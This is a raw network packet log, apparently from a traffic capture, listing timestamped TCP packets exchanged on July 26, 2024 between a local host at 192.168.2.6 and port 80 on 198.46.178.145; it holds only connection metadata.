Jul 26, 2024 11:27:07.312935114 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.312946081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.312959909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.312978983 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.312995911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313004017 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313023090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313056946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313081980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313117027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313124895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313139915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313158035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313177109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313188076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313203096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313237906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313237906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313256025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313268900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313293934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313302994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313318968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313332081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313345909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313354969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313379049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313391924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313412905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313424110 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313445091 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313519955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313539028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313553095 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313564062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313570976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313589096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313596964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313615084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313622952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313646078 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313668966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313687086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313702106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313713074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313720942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313745975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313755035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313774109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313786030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313806057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313818932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313838959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313853025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313869953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.313875914 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.313903093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.342282057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.343126059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381027937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381088018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381108046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381122112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381156921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381164074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381184101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381205082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381222963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381231070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381247044 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381261110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381269932 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381287098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381295919 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381324053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381336927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381350994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381366014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381383896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381392956 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381411076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381418943 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381434917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381453037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381463051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381474972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381486893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381696939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381715059 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381731033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381741047 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381750107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381767035 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381774902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381788015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381794930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381802082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381808996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381815910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381822109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381835938 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381843090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381860018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381871939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381891012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381901026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381928921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381928921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381943941 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381963015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381975889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.381987095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.381994963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.382013083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.382020950 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.382045031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.402640104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402662992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402697086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402715921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402725935 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.402749062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402762890 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402787924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402806997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402828932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402857065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402879000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.402879000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.402879000 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.402899027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402909994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.402909994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.402930021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402951956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402964115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.402981043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.402991056 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403007984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403017044 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403038025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403045893 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403074980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403086901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403104067 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403120041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403137922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403150082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403168917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403182030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403212070 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403223991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403243065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403254986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403275967 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403285980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403304100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403320074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403338909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403353930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403372049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403386116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403402090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403412104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403444052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403465986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403492928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403502941 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403521061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403529882 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403552055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403558969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403579950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403589964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403611898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403618097 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403636932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403645039 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403669119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403676033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403695107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403702974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403727055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.403740883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.403774023 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404478073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404521942 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404545069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404567003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404599905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404616117 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404649019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404655933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404674053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404681921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404704094 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404711962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404726028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404742002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404761076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404767036 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404783964 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404809952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404819965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404838085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404846907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404877901 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404891014 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404911041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404925108 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404941082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404947042 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404964924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.404973984 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.404995918 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405002117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405020952 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405030012 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405045986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405052900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405070066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405077934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405093908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405102968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405123949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405129910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405148029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405155897 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405174017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405181885 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405199051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405208111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405225992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405235052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405253887 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405262947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405282974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405288935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405306101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405318975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405330896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405339003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405354977 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405381918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405390024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405402899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405422926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405438900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405447006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405458927 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405481100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405487061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405520916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405531883 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405548096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405570030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405580997 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.405589104 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.405632019 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.478799105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.478840113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.478869915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.478888035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.478899002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.478912115 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.478938103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.478960991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.478975058 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.478997946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479008913 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479032993 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479054928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479074001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479093075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479105949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479115009 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479137897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479144096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479199886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479223967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479240894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479258060 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479274988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479280949 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479300976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479310989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479327917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479336977 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479362965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479384899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479403019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479418993 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479438066 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479449034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479466915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479481936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479500055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479513884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479531050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479547024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479564905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479573965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479593039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479602098 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479623079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479646921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479680061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479720116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479753971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479830980 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.479878902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.479999065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.480019093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.480032921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.480051041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.480058908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.480077028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.480092049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.480103016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.480113029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.480129004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.480138063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.480154037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.480161905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.480185986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.492814064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.492850065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.492872000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.492925882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.492952108 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.492974997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.492990971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.492990971 CEST	49741	80	192.168.2.6	198.46.178.145
